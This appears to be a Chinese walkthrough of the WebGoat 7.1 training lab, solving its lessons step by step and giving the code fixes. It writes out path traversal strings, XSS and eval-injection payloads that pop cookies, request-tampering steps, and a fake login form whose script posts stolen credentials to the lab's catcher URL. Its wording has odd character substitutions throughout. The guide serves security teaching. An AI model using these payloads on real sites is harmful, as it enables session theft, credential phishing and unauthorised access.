webgoat 7.1 實戰指南

WSASP中文文檔參考連接:

http://www.owasp.org.cn/owasp-project/2017-owasp-top-10

OWASP Top 10 2017中文版V1.3
http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.3.pdf

OWASP Top 10 2017英文版發佈
http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.1.pdf

咱們但願《OWASP Top 10》能對您的應用程序安全有幫助。若是有任何疑問、評論和想法，請不要猶豫，當即經過GitHub與OWASP取得聯繫。
https://github.com/OWASP/Top10/issues

您能夠在如下連接找到《OWASP Top 10》及不一樣語言的翻譯文檔：
https://www.owasp.org/index.php/top10

 

 

安裝

安裝docker

docker pull webgoat/webgoat-7.1
docker run -p 8080:8080 -t webgoat/webgoat-7.1

網站：http://IP:8080/WebGoat/

若是想要進去docker容器，docker ps查看容器，而後docker exec –it 容器ID /bin/bash

 

General

Http Basics（HTTP基礎）

主題：該課目的在於瞭解瀏覽器和Web 應用程序之間數據交互的基本知識。

原理：HTTP 是如何工做的呢？全部的HTTP 傳輸都要遵循一樣的通用格式（須要使用IEWatch或WebScarab 類插件協助進行學習）。每一個客戶端的請求和服務端的響應都有三個部分：請

求或響應行、一個報頭部分和實體部分。客戶端以以下方式啓動一個交互：客戶端鏈接服務器併發送一個文件請求。
GET /index.html?param=value HTTP/1.0
接下來，客戶端發送可選頭信息，告知接收服務器其配置和文件格式。
User-Agent: Mozilla/4.06 Accept: image/gif, image/jpeg, */*
發送請求和報頭以後，客戶端能夠發送更多的數據。該數據主要用於使用POST 方法的CGI 程序。

目標：熟悉HTTP 請求的基本操做原理

該選項是顯示HTTP數據包的內容，使用burpsuit代理抓取數據包，我在EnterYourName輸入webgoat，下面數據包person參數接收webgoat。

 

POST /webgoat/attack?Screen=1869022003&menu=100 HTTP/1.1
Host: 192.168.185.73:8080
Content-Length: 25
Accept: */*
Origin: http://192.168.185.73:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.185.73:8080/webgoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=B18583D60D2ACF9BA51589660D0C915E; PHPSESSID=4sfobee5lmb5c1olr4dea9h9j1; showhints=1
Connection: close

person=webgoat&SUBMIT=Go!

 

Access Control Flaws（訪問控制缺陷）

Using an Access Control Matrix（使用訪問控制矩陣）

主題：在一個基於角色的訪問控制方案中，角色表明了一組訪問權限和特權。一個用戶能夠被分配一個或多個角色。一個基於角色的訪問控制方案一般有兩個部分組成：角色權限管理和

角色分配。一個被破壞的基於角色的訪問控制方案可能容許用戶執行不容許他/她的被分配的角色，或以某種方式容許特權升級到未經受權的角色的訪問。

原理：略

目標：

每一個用戶都是容許訪問某些資源的角色的成員。您的目標是探索管理此網站的訪問控制規則。只有[Admin]組才能訪問「Account Manager」資源。

示範以下：

MOE用戶不容許訪問該「Account Manager」組。

 

使用burpsuite進行遍歷破解：

 

 

 

 

 

啓動攻擊後的結果：

 

從結果可知：Larry 和 Shemp 均可以訪問Account Manager組的資源，Larry 屬於【User, Manager】，Shemp 屬於【Admin】。

 

 Larry容許訪問該「Account Manager」，左上角打鉤表明課程完成。

 

Bypass a Path Based Access Control Scheme（繞過路徑訪問控制方案）

主題：在一個基於路徑的訪問控制方案中，攻擊者能夠經過提供相對路徑信息遍歷路徑。所以，攻擊者可使用相對路徑訪問那些一般任何人都不能直接訪問或直接請求就會被拒絕的文件。

原理：大多數操做系統容許在路徑中使用某些特徵字符，如：

/etc/passwd
~/.ssh
./configure
./../../../etc/passwd
c:\boot.ini
.\test.txt
..\..\..\boot.ini
file:///c:\bbot.ini
c:\test~1.txt

目標：‘webgoat’用戶能夠訪問lessonPlans/en目錄中的全部文件。 嘗試破壞訪問控制機制並訪問不在列出的目錄中的資源。 選擇要查看的文件後，WebGoat將報告是否授予對文件的訪問權限。 嘗試獲取的有趣文件多是像WEB-INF/spring-security.xml這樣的文件。 請記住，文件路徑將根據WebGoat的啓動方式而有所不一樣。

當前路徑：

/opt/tomcat/apache-tomcat/webapps/webgoat/plugin_extracted/plugin/BackDoors/lessonPlans/en/BackDoors.html

 

如今咱們要獲取"WEB-INF/spring-security.xml"文件的內容。首先說一下../表明上一級目錄，其次咱們要找到文件的路徑，最後更改文件路徑。
文件WEB-INF/spring-security.xml的實際路徑爲: "/opt/tomcat/apache-tomcat/webapps/webgoat/WEB-INF/spring-security.xml"
所以咱們要先退回到"/opt/tomcat/apache-tomcat/webapps/webgoat/"目錄下，故相對路徑爲"../../../../../WEB-INF/spring-security.xml"

操做以下，使用burpsuit攔截並修改請求中File參數的內容：

 

 

LAB: Role Based Access Control（基於角色的訪問控制）

主題：在一個基於角色訪問控制的方案中，角色表明一組訪問權限和特權。一個用戶能夠被分配一個或多個角色，一個基於角色的訪問控制一般包括兩個部分：角色權限管理和角色分配。一個被破壞的基於角色的訪問控制方案，可能容許用戶以沒有分配他/她的角色或以某種方式得到的未經受權的角色進行訪問。

原理：不少網站都嘗試使用基於角色的方式嚴格限制資源訪問，但開發人員在實現這類解決方案時容易出現疏忽。

 

該類型分四個階段，故而在下面階段演示。

Stage 1: Bypass Business Layer Access Control（階段1：繞過業務層訪問控制）

第一步，先找出來能夠執行刪除我的資料操做的賬戶。
使用burpsuite進行遍歷：

 

 

 

 

 

第二步，使用可執行刪除我的資料的賬戶登陸，嘗試執行刪除我的資料操做的賬戶，攔截該報文，而後丟棄。

 

 

 

做爲普通員工「tom」，利用弱訪問控制來使用「職員列表」頁面中的「刪除」功能。驗證能夠刪除湯姆的我的資料。用戶的密碼是小寫的給定名稱（例如Tom Cat的密碼是「tom」）。

 

登陸進去以後，使用burpsuite對ViewProfile操做的請求進行攔截。

 

 

修改action參數的內容爲DeleteProfile，而後轉發數據包便可。

 

 

Stage 2: Add Business Layer Access Control.

本課程僅與WEBGOAT的開發者版本協調工做

執行修復以拒絕未經受權的訪問刪除功能。爲此，您必須更改WebGoat代碼。完成此操做後，重複第1步，並驗證是否正確地拒絕對DeleteProfile功能的訪問。

 

在Eclipse或Myeclipse中打開【WebGoat-Lessons】->【role-based-access-control】->【org.owasp.webgoat.plugin.rollbased】文件夾中對RoleBasedAccessControl.java文件進行修改，在文件的234行已經使用CODE HERE進行了註釋和標註，在此增長以下代碼：

    // ***************CODE HERE*************************
    if(!isAuthorized(s, getUserId(s),requestedActionName)) {
        throw new UnauthenticatedException();
    }
    // *************************************************

 

從新打包role-based-access-control-1.0.jar，並替換服務器上對應的資源。

 

而後在此界面從新執行階段1的操做，越權請求被拒絕。實驗經過。以下圖所示：

 

Stage 3: Breaking Data LayerAccess Control（階段3：打破數據層訪問控制）

目標：做爲普通員工「tom」，利用弱訪問控制來查看其餘員工的我的資料。

使用tom用戶登陸

 

使用burpsuite對viewprofile操做按鈕進行抓包，105是tom的ID號，而Larry的ID號爲101，修改ID爲101

 

 

 

 

 

Stage 4: Add Data Layer Access Control.（階段4：添加數據層訪問控制。）

執行修復拒絕未受權訪問數據。一旦完成，重複階段3，驗證訪問另外一個員工的簡介被被正確的拒絕。
在Eclipse或Myeclipse中打開【WebGoat-Lessons】->【role-based-access-control】->【org.owasp.webgoat.plugin.rollbased】文件夾中對RoleBasedAccessControl.java文件進行修改，在文件的234行已經使用CODE HERE進行了註釋和標註，在此增長以下代碼：

// ***************CODE HERE*************************
if(!isAuthorized(s, getUserId(s),requestedActionName)) {
    throw new UnauthenticatedException();
}
int userId = Integer.parseInt((String) s.getRequest().getSession().getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID));
int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{
    throw new UnauthenticatedException();
}
// *************************************************

 

從新打包role-based-access-control-1.0.jar，並替換服務器上對應的資源。

 

而後在此界面從新執行階段3的操做，越權請求被拒絕。實驗經過。以下圖所示：

 

AJAX Security

DOM Injection

主題：DOM注入攻擊

原理：一些應用程序專門使用AJAX 操控和更新在DOM 中可以直接使用的JavaScript、DHTML和eval()方法。攻擊者可能會利用這一點，經過攔截答覆，注入一些JavaScript 命令，實施攻擊。

目標：

您的受害者是一個系統，須要一個激活密鑰才能使用它。
您的目標應該是嘗試啓用激活按鈕。
請花一些時間查看HTML源碼，以瞭解關鍵驗證過程的工做原理。

一、 輸入License Key會自動發起一個Ajax的請求

 

 

二、 經過攔截AJAX請求的返回報文，更改成返回一段JS代碼
document.form.SUBMIT.disabled = false
或直接檢查按鈕元素，將disabled=""修改成disabled="false"
<input disabled="" id="SUBMIT" value="Activate!" name="SUBMIT" type="SUBMIT">
點擊提交按鈕，以下圖所示：

 

 

LAB: DOM-Based cross-site scripting

主題：基於 DOM 的跨站點訪問。文檔對象模型（DOM）從安全的角度展示了一個有趣的問題。它容許動態修改網頁內容，可是這能夠被攻擊者用來進行惡意代碼注入攻擊。XSS，一種惡意代碼注入，通常會發生在未經驗證的用戶的輸入直接修改了在客戶端的頁面內容的狀況下。

原理：HTML DOM 實體中可隨時插入新的HTML 語句或JavaScript 語句，所以很容易被惡意代碼利用，從而用來改變頁面顯示內容或執行惡意代碼。HTML 標記語言中不少標籤的特殊屬性參數中容許插入JS 代碼，如：IMG/IFRAME 等。

目標：在這個練習中，您的任務是利用此漏洞將惡意代碼注入到DOM，而後在最後階段，經過修改代碼來修復這個缺陷，從而解決該漏洞。

階段1：對於本練習，您的任務是使用如下位置的圖像對本網站進行描述：OWASP IMAGE

在輸入框輸入<img src="images/logos/owasp.jpg" />，點擊提交按鈕便可。

 

 

STAGE 2：如今，嘗試使用image標籤建立JavaScript警報

在輸入框輸入<img src=x onerror=;;alert('XSS') />，點擊提交按鈕便可。

 

 

階段3：接下來，嘗試使用IFRAME標籤建立JavaScript警報。

在輸入框輸入<iframe src="javascript:alert('XSS')"></iframe>，點擊按鈕便可。

 

 

階段4：使用如下命令建立假登陸表單：

在文本框輸入「Please enter your password:<BR><input type = "password"name="pass"/><button onClick="javascript:alert('I haveyour password: ' +pass.value);">Submit</button><BR><BR><BR><BR>」，以下圖所示：

 

在上述文本框隨便輸入一個密碼，例如：mypass，點擊提交按鈕，以下圖所示：

 

 

階段5：執行客戶端HTML實體編碼以減輕DOM XSS漏洞。在escape.js中爲您提供了一種實用方法。

修改DOMXSS.js，在name加上escapeHTML（），即escapeHTML(name),而後保存便可。

 

function displayGreeting(name) {
    if (name != ''){
        document.getElementById("greeting").innerHTML="Hello, " + escapeHTML(name) + "!";
    }
}

 

 

修改完成後，點擊提交，以下所示：

 

 

LAB: Client Side Filtering（LAB：客戶端過濾）

主題：服務端只向客戶端發送其只能訪問到的數據。在本課程中，服務端向客戶端發送了過多的數據，由此產生了一個嚴重的訪問控制問題。

原理：服務端與客戶端數據交互過程雖然被頁面代碼進行了隱藏，但仍然能夠經過Firebug、burpsuit 等工具捕獲到，直接顯示在用戶眼前。

目標：該課目的在於利用服務器返回的多餘信息，發現您不應訪問的信息並修復該漏洞。

階段1：你做爲Moe Stooge,Goat Hills Financial的CSO登陸。除CEO  Neville Bartholomew以外，你能夠訪問每一個人在公司中的信息。或者至少你不能訪問CEO的信息。爲此次練習，檢查頁面內容，看看你能發現什麼額外的信息。
客戶端過濾，有些時候服務器返回了不少條信息，只挑選了其中少數進行顯示，能夠在返回的html源碼中看到所有的信息。

一、    隨便選擇一名用戶進行查看，而後使用開發者調試工具選中名字附近點擊「查看元素」；
二、    在源碼中查看id="hiddenEmployeeRecords"的table；
三、    能夠發現隱藏的員工信息，能夠找到Neville Bartholomew的ID爲112，Salary爲450000。
四、    在頁面源碼中修改下拉列表中的任一value值爲112，就能夠查看Neville Bartholomew的信息。

 

 

 

階段2：如今，修復此問題。修改服務器僅返回被Moe Stooge容許看到的結果。 

 

點擊該菜單節點，從新加載頁面，點擊下面的【Click here when you believe you have completed the lesson】按鈕。

 

XML Injection

主題：XML注入

原理：AJAX 應用程序使用XML 與服務端進行信息交互。但該XML 內容可以被非法用戶輕易攔截並篡改。

目標：WebGoat-Miles獎勵里程顯示全部可用的獎勵。 輸入賬戶號碼後，課程將顯示您的餘額和您負擔得起的產品。 您的目標是嘗試爲您所容許的一套獎勵增長更多獎勵。 您的賬戶ID是836239。

在輸入框輸入836239

 

使用調試器找到勾選框所在的源代碼，添加兩個<tr>,而後將全部框都打上勾

 

 

 

JSON Injection

主題：JSON注入攻擊

原理：JavaScript Object Notation (JSON)是一種簡單的輕量級的數據交換格式，JSON 能夠以不少形式應用，如：數組，列表，哈希表和其餘數據結構。JSON 普遍應用於AJAX 和web2.0 應用。相比XML，JSON 獲得程序員的更多的青睞，由於它使用更簡單，速度更快。可是與XML 同樣容易受到注入攻擊，惡意攻擊者能夠經過在請求響應中注入任意值。

目標：你旅行從波士頓，MA機場代碼BOS，到西雅圖，WA機場代碼SEA一旦你輸入機場的三個數字代碼，一個AJAX請求將被執行用於請求票價你將會注意到有兩個航班可選，貴的沒有停靠，便宜的有兩個停靠

你的目標是獲取沒有停靠但更便宜的價格正常是這樣

 

使用burpsuit抓取，並攔截該HTTP請求的響應包，並把價格改成一個較低的數值。

 

 

 

 

 

還有另一種思路，直接改最後的提交訂單價格的HTTP請求。

 

 

 

Silent Transactions Attacks（靜默交易攻擊）

主題：靜默交易攻擊。

原理：對客戶端來講，任何一個靜默交易攻擊，使用單一提交的系統都是有危險的。舉例來講，若是一個正常的web 應用容許一個簡單的URL 提交，一個預設會話攻擊將容許攻擊者在沒有用戶受權的狀況下完成交易。在Ajax 裏狀況會變得更糟糕：交易是不知不覺的，不會在頁面上給用戶反饋，因此注入的攻擊腳本能夠在用戶未受權的狀況下從客戶端把錢偷走。

目標：這是一個示例的網上銀行應用程序 – 匯款頁面。顯示在您的餘額之下，您轉移的帳戶和您將轉帳的金額。應用程序使用AJAX在進行一些基本的客戶端驗證後提交交易。您的目標是嘗試繞過用戶的受權，並以靜默方式執行交易。

 

 

 

在開發者調試工具的JavaScript控制檯中輸入 javascript:submitData('account', 12.34)

Insecure Client Storage（不安全的客戶端存儲）

主題：在服務端驗證全部的用戶輸入信息老是不錯的作法。客戶端進行的任何驗證信息都存在被逆向分析的脆弱性。記住，客戶端的任何數據都不能被視爲機密！

原理：客戶端HTML 和JavaScrip 語句能夠對網頁內容、形式作修改，如隱藏、控制讀寫、限制長度等。一樣，經過修改網頁代碼也能解除此類限制。

目標：

階段1：對於此練習，您的任務是發現優惠券代碼以得到意想不到的折扣。

使用開發者控制檯進行調試，發現優惠價代碼：PRESSTWO

 

 

 

 

階段2：如今，嘗試免費得到整個訂單。

 

 

Dangerous Use of Eval（危險指令使用）

主題：在服務端驗證全部用戶輸入的信息，這是一個不錯的作法。若是未驗證的用戶輸入直接經過HTTP 響應返回給客戶端的話，每每會觸發XSS 攻擊。在這一課中，未驗證的用戶提供的數據結合了JavaScript 的eval()調用一塊兒使用。在反射型XSS 攻擊中，攻擊者能夠構造帶有攻擊腳本的URL，將其存儲於其餘站點，經過電子郵件，或者其餘方式誘騙用戶點擊，達到XSS 的目的。對於這個練習，你的任務是想出一些包含script的輸入。你嘗試讓這個頁面來反應輸入返回到將會執行腳本的瀏覽器。爲了經過此課程，你必須彈出document.cookie。

原理：HTML 網頁有一系列的HTML 編輯語言和字符組合完成。在源代碼中任意位置添加必定的代碼都有可能被瀏覽器解析，特別是HTML 中的標記字符和屬性等信息，如：

<input name="submit" type="submit" value"提交"/>

　本節課的內容與標準的反射型XSS 攻擊課程相似。

目標：本練習課程中，您的任務是經過構造特殊的輸入，在應用程序運行過程當中執行惡意腳本。要經過本課程，必須經過alert()函數顯示出document.cookie。

查看源代碼，在123部分先後都構造以下的輸入：
輸入：123');alert(document.cookie);('
注：') 使得本來DOM不受影響，('閉合掉了本來多出的')
以下所示：

 

 

 

因爲3位數的數字受權碼會被帶入JavaScript的eval()函數，所以可針對該受權碼進行特別構造。
在enter your three digit access code 中輸入如下代碼便可完成: 
123');alert(document.cookie);('

相似 eval(' $var '); 此時 $var 的內容爲 123');alert(document.cookie);('
這個語句就至關於 eva('  123');alert(document.cookie);('  ');

服務端收到並返回的JavaScript結果是：
eval(’123’);
alert(document.cookie);
('');

 

 

Same Origin Policy Protection（同源政策保護）

主題：AJAX 技術的一項關鍵元素是XMLHttpRequest（XHR），該技術容許客戶端向服務端發起異步調用。然而，做爲一項安全措施，這些請求最好只能從客戶端原始頁面向服務端發起訪問。本演示演示了同源政策保護。 XHR請求只能被傳回給始發服務器。嘗試將數據傳遞到非始發服務器將失敗。

原理：同源策略是客戶端腳本（尤爲是Javascript）的重要的安全度量標準。它最先出自於Netscape Navigator2.0，其目的是防止某個文檔或腳本從多個不一樣源裝載。當腳本被瀏覽器半信半疑運行在沙箱時，它們應該只被容許訪問來自同一站點的資源，而不是那些來自其它站點可能懷有惡意的資源。

目標：該練習將演示同源策略保護。XMLHttp 只能向同源服務端發送請求，任何向非同源服務端發送數據的嘗試都將失敗。

輸入網址：/WebGoat/plugin_extracted/plugin/SameOriginPolicyProtection/jsp/sameOrigin.jsp

 

輸入網址：http://www.google.com/search?q=aspect+security

This exercise demonstrates the Same OriginPolicy Protection.  XHR requests can onlybe passed back to  the originatingserver.  Attempts to pass data to anon-originating server  will fail.（本演示演示了同源政策保護。 XHR請求只能被傳回給始發服務器。嘗試將數據傳遞到非始發服務器將失敗。）

 

Authentication Flaws（認證漏洞）

Password Strength（密碼強度）

主題：密碼是帳戶安全的保障。多數用戶都在各個網站上使用一樣的弱密碼。若是您想您的應用程序不被攻擊者暴力破解，應該設置一個較好的密碼。好的密碼應包含小寫字母、大寫字母和數字。密碼越長，效果越好。

原理：密碼越複雜，被成功猜解的代價也越高。代價一般以時間衡量。
目標：

您的Web應用程序的賬戶與密碼同樣安全。對於此練習，您的工做是在https://howsecureismypassword.net上測試多個密碼。 您必須同時測試全部6個密碼…

在你的應用程序你應該設置好的密碼要求！

桌面電腦須要多少時間來破解這些密碼？

 

 

 

 

 

Forgot Password（忘記密碼）

主題：Web 應用程序常常爲用戶提供密碼找回功能。但不幸的是，不少Web 應用程序的實施機制並不正確。驗證用戶身份所須要的信息每每過於簡單。

原理：沒有任何鎖定策略，暴力破解很是有效。

目標：

若是用戶能夠正確回答這個祕密問題，用戶能夠檢索密碼。這個「忘記密碼」頁面上沒有鎖定機制。您的用戶名是「webgoat」，您最喜歡的顏色是「紅色」。目標是檢索另外一個用戶的密碼。

 

一、 先用「webgoat」帳戶測試忘記密碼過程

 

二、 admin用戶喜歡的顏色，猜出來是green，得到admin的密碼。

 

Multi Level Login 1

階段1：此階段僅僅是呈現一個典型的多層登陸是如何工做的。你的目標是使用Jane和密碼tarzan作一個常規登陸。你有以下的TANS（交易認證號）：
Tan #1 = 15648
Tan #2 = 92156
Tan #3 = 4879
Tan #4 = 9458
Tan #5 = 4879

登陸：

 

 

階段2：如今你是一個黑客，已經經過釣魚郵件得到了Jane的一些信息。你有密碼tarzan和Tan#1：15648。
問題是第一個tan已經被使用，嘗試使用任何方式進入系統，攔截登陸請求，Logout修改成false。

 

經過查看界面元素，修改文本爲Enter TAN #1，Tan#1後的輸入框輸入已經得到的15648，提交，以下圖所示：

 

攔截請求消息，修改hidden_tan的值爲1，而後進行轉發。

 

 

Multi Level Login 2

你是一個交Joe的攻擊者。你有一個有效的webgoat金融帳戶。你的目標是做爲Jane登陸。你的用戶名是Joe，密碼是banana。這些是你的TANS（交易認證號）：
Tan #1 = 15161
Tan #2 = 4894
Tan #3 = 18794
Tan #4 = 1564
Tan #5 = 45751
在第二次使用Joe登陸系統，填寫完Tan#2以後，使用代理攔截HTTP請求，修改hidden_user的值爲Jane：

 

 

 

 

Buffer Overflows（緩衝區溢出）

主題：緩衝區溢出是指當計算機向緩衝區內填充數據位數時超過了緩衝區自己的容量，溢出的數據覆蓋在合法數據上。理想的狀況是程序檢查數據長度並不容許輸入超過緩衝區長度的字符，可是絕大多數程序都會假設數據長度老是與所分配的儲存空間相匹配，這就爲緩衝區溢出埋下隱患。

原理：經過向程序的緩衝區寫入超出其長度的內容，致使緩衝區的溢出，從而破壞程序的堆棧，形成程序崩潰或使程序轉而執行其它指令，以達到攻擊的目的。形成緩衝區溢出的緣由是程序中沒有仔細檢查用戶輸入的參數。緩衝區溢出是一種很是廣泛、很是危險的漏洞，在各類操做系統、應用軟件中普遍存在。利用緩衝區溢出攻擊，能夠致使程序運行失敗、系統宕機、從新啓動等後果。更爲嚴重的是，能夠利用它執行非受權指令，甚至能夠取得系統特權，進而進行各類非法操做。

目標：

Off-by-One Overflows（逐個溢出）

歡迎來到OWASP酒店！你能找出VIP客戶在哪個房間嗎？
將來訪問互聯網，你須要向咱們提供以下信息：

階段1：當他們出如今酒店登記系統時，確保你的第一個和最後一個名字是準確的

 

階段2：使用代理攔截請求

 

爲了確保內存溢出，須要在上述的Room Number裏輸入長度大於4096的數字，源代碼的的檢查以下：

 

 

 將攔截的請求發送到Intruder模塊，進行緩衝溢出探測：

 

 

 執行攻擊：

 

 將攔截的請求中room_no的值修改成5024個3

 

審查網頁元素，發現存在VIP用戶信息：

 

從新填寫酒店訂單：

 

 

 

 

 

Code Quality（代碼質量）

Discover Clues in the HTML（在HTML中發現線索）

主題：開發人員在源代碼中留下諸如FIXME，TODO，Code Broken，Hack等的信息。 如下是基於表單的身份驗證形式的示例。 尋找幫助您登陸的線索。

原理：查看源碼

目標：經過認證檢查

 

 

 

 

Concurrency（併發）

Thread Safety Problems（線程安全問題）

主題：Web 應用程序能夠同時處理不少HTTP 請求。開發人員常用的變量不是線程安全的。線程安全是指一個對象或類的領域在多線程同時使用的時候老是保持有效的狀態。它每每能夠利用併發錯誤，精確地在同一時間同一個頁面加載另外一個用戶。由於全部的線程共享同一個方法區，而全部的類變量存儲在方法區，多個線程試圖同時使用相同的類變量。用戶利用 Web 應用程序中的併發錯誤，查看同一時間另外一個用戶試圖登陸同一個功能的信息。

原理：Web 應用程序一般在同一時間要處理不少HTTP 請求。

目標：

在Web應用程序，用戶能夠利用併發錯誤，嘗試查看另一個用戶登陸信息，並使用相同的功能在相同的登陸時間，須要使用2個瀏覽器完成。有效的用戶名是「jeff」和「dave」。

 

 緣由：在編寫代碼時，沒有考慮到多線程的問題（線程安全問題），源碼：

private static String currentUser;
private String originalUser;

這裏currentUser使用了static靜態變量,且沒有作線程保護,就會形成瀏覽器Tab1訪問這個頁面時，Tab2同時訪問，數據就會被替換掉。

Shopping Cart Concurrency Flaw（購物車併發缺陷）

主題：Web 應用程序能夠同時處理不少HTTP 請求。開發人員常用的變量不是線程安全的。線程安全是指一個對象或類的領域在多線程同時使用的時候老是保持有效的狀態。它每每能夠利用併發錯誤，精確地在同一時間同一個頁面加載另外一個用戶。由於全部的線程共享同一個的方法區，全部的類變量存儲在方法區，多個線程試圖同時使用相同的類變量。用戶利用Web 應用程序中的併發錯誤，查看同一時間另外一個用戶試圖登陸同一個功能的信息。

原理：不涉及

目標：

在這個練習裏，你的任務是利用併發問題以低的價格購買商品，須要使用2個瀏覽器。
先選擇一個便宜商品，點擊購買，以下圖所示：

 

接着用另一個瀏覽器，選擇貴的商品並更新到購物車，以下圖所示：

 

回到第一次點擊的瀏覽器，點擊confirm。以下圖所示：

 

 

緣由：和上述同樣，也是因爲變量未作線程安全保護，代碼以下：

private static float runningTOTAL = 0;
private static int subTOTAL = 0;
private static float calcTOTAL = 0;
private static int quantity1 = 0;
private static int quantity2 = 0;
private static int quantity3 = 0;
private static int quantity4 = 0;

 

Cross-Site Scripting (XSS)

Phishing with XSS（網絡釣魚XSS）

主題：在服務端對全部輸入進行驗證老是不錯的作法。當用戶輸入非法HTTP 響應時容易形成XSS。在XSS 的幫助下，您能夠實現釣魚工具或向某些官方頁面中增長內容。對於受害者來講很難發現該內容是否存在威脅。

原理：HTML 文檔的內容是能夠被篡改的，若是您有權限操做頁面源代碼。

目標：

頁面上若是存在一個已知的XSS攻擊，本課程是一個網站如何支持釣魚攻擊的例子。
下面是一個標準的搜索功能。
使用XSS和HTML插入，你的目標是：
插入一個須要證書的HTML請求
增長一個Javascript腳本收集證書
將證書POST到http://localhost/webgoat/catcher?PROPERTY=yes

一、    表單代碼

<form >
<HR>
<H2>This feature requires account login:</H2>
Enter Username:<input type="text" id="user" name="user" ><br>
Enter Password: <input type="password" id="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>

 

二、    JavaScript代碼

<script> 
function hack(){
XSSImage=new Image; 
XSSImage.src="http://192.168.185.73:8080/WebGoat/catcher?PROPERTY=yes&user=" +document.form.user.value + "&password=" + document.form.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.form.user.value + " Password = " + document.form.pass.value); 
} 
</script>

 

三、    將上述兩個代碼合爲一段，以下圖所示，點擊Search：

 

<form ><HR><H2>This feature requires account login:</H2>Enter Username:<input type="text" id="user" name="user" ><br>Enter Password:<input type="password" id="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><script> function hack(){XSSImage=new Image; XSSImage.src="http://192.168.185.73:8080/WebGoat/catcher?PROPERTY=yes&user=" +document.form.user.value + "&password=" + document.form.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.form.user.value + " Password = " + document.form.pass.value); }</script>

 

 

 

 

 

 

四、    在上圖中輸入Username和Password，點擊login，以下圖所示：

 
點擊肯定，XSS攻擊完成。

LAB: Cross Site Scripting（跨站腳本攻擊）

主題：輸入驗證是一個很好的方法，尤爲是驗證那些之後將用作參數的操做系統命令、腳本和數據庫查詢的輸入。尤其重要的是，這些內容將會永久的存放在那裏。應當禁止用戶建立消息內容。用戶的信息被檢索時，可能致使其餘用戶加載一個不良的網頁或不良的內容。當一個未經驗證的用戶的輸入做爲一個HTTP 響應時，XSS 攻擊也可能會發生。在一個反射式XSS 攻擊中，攻擊者會利用攻擊腳本精心製做一個URL 並經過將其發送到其餘網站、電子郵件、或其餘方式騙取受害者點擊它。

目標：在這個練習中，您將執行存儲和反射XSS 攻擊，您還能夠經過在web 應用程序中調整代碼來防禦這種攻擊。

階段一：執行一個存儲型XSS攻擊

做爲「Tom」，在編輯帳號界面的Street字段執行一個存儲型XSS攻擊。驗證「Jerry」被此攻擊影響。帳號所對應的密碼是給定名字的小寫（好比Tom Cat的密碼是tom）。

 

 

 

 

 

 

 

使用Jerry登陸，查看Tom的信息，完成階段一。

 

 

 

 

 

 

 

階段二：Block Stored XSS using Input Validation

實現修復，在寫入數據庫以前阻止存儲型XSS，重複階段1，「David」做爲「Eric」的經理，確保David不受攻擊影響。
修改源碼：org.owasp.webgoat.plugin.crosssitescripting. UpdateProfileCrossSiteScripting：

        /** 驗證輸入字符串是否包含存儲型XSS攻擊   2016-06-15 10:04**/
        /**Code Start**/
        String regex="[\\s\\w-,]*";
        String strToValidate = firstName + lastName + ssn + title + phone
                + address1 + address2 + startDate + ccn
                + disciplinaryActionDate + disciplinaryActionNotes
                + personalDescription;
        
        Pattern pattern = Pattern.compile(regex);
        
        validate(strToValidate,pattern);
        /**Code End**/

 

此這段驗證代碼只容許\s=whitspace:\t\n\x0B\f\r，\w=word:a-zA-Z_0-9經過驗證。使用其餘字符將會拋出驗證異常。也可根據須要修改正則表達式的匹配範圍。

階段3：執行一個先前的存儲XSS攻擊
僱員「Bruce」的簡介被存儲XSS預先加載。驗證「David」被攻擊所影響，儘管在階段2已經修復。
使用「David」登陸，而後查看「Bruce」的信息，便可完成。

 

 

 

 

階段4：使用輸出編碼阻止存儲XSS攻擊
實施修復來阻止從數據庫讀取數據後的XSS攻擊。重複階段3，驗證「David」不被「Bruce」的簡介攻擊所影響
修改源碼：org.owasp.webgoat.plugin.crosssitescripting.ViewProfileCrossSiteScripting中的getEmployeeProfile方法，對於獲取數據庫返回的結果時使用HtmlEncoder.encode(answer_results.getString(字段名稱))替換answer_results.getString(字段名稱)。

階段5：執行一個反射XSS攻擊
在搜索員工頁面使用脆弱性手工製造一個包含反射XSS攻擊的URL。驗證使用此連接的另外一個用戶被此攻擊影響。
以「Larry」登陸，在「Search Staff」搜索框輸入「<script>alert("Dangerous");</script>」。

 

 

 

 

 

階段6：使用輸入驗證阻止反射XSS
實施修復來阻止這個反射XSS攻擊。重複階段5，驗證攻擊URL再也不有效。
修改源碼：org.owasp.webgoat.plugin.crosssitescripting. FindProfileCrossSiteScripting中的第71行後增長以下代碼：

                /** 驗證輸入字符串是否包含存儲型XSS攻擊   2016-06-16 10:04**/
                /**Code Start**/
                String regex="[\\s\\w-,]*";
                
                Pattern pattern = Pattern.compile(regex);
                
                validate(searchName,pattern);
                
                /**Code End**/

 

 

Stored XSS Attacks（存儲型XSS）

主題：過濾全部用戶輸入是一個不錯的作法，特別是那些後期會被用做OS、腳本或數據庫查詢參數的輸入。尤爲是那些將要長期存儲的內容。用戶不能建立非法的消息內容，例如：能夠致使其餘用戶訪問時載入非預期的頁面或內容。

目標：建立非法的消息內容，能夠致使其餘用戶訪問時載入非預期的頁面或內容。

在Title裏輸入「Test Stored XSS」，在 Message裏輸入「<script>alert('xss')</script>」，以下圖所示：

 

點擊連接，以下圖所示：

 

 

 

Reflected XSS Attacks（反射型XSS）

在服務器端驗證全部輸入是一個好的實踐。當未驗證的用戶輸入用在HTTP響應時會發生XSS。在一個反射XSS攻擊中，攻擊者可使用攻擊腳本製造一個URL，而後提交到另外一個網站、發郵件或讓受害者點擊。
 在「Enter your three digit access code」後面的輸入框輸入：<script>alert(' reflected XSS attack!')</script>，點擊「Update Cart」，完成此課程。

 

 

 

Cross Site Request Forgery (CSRF)

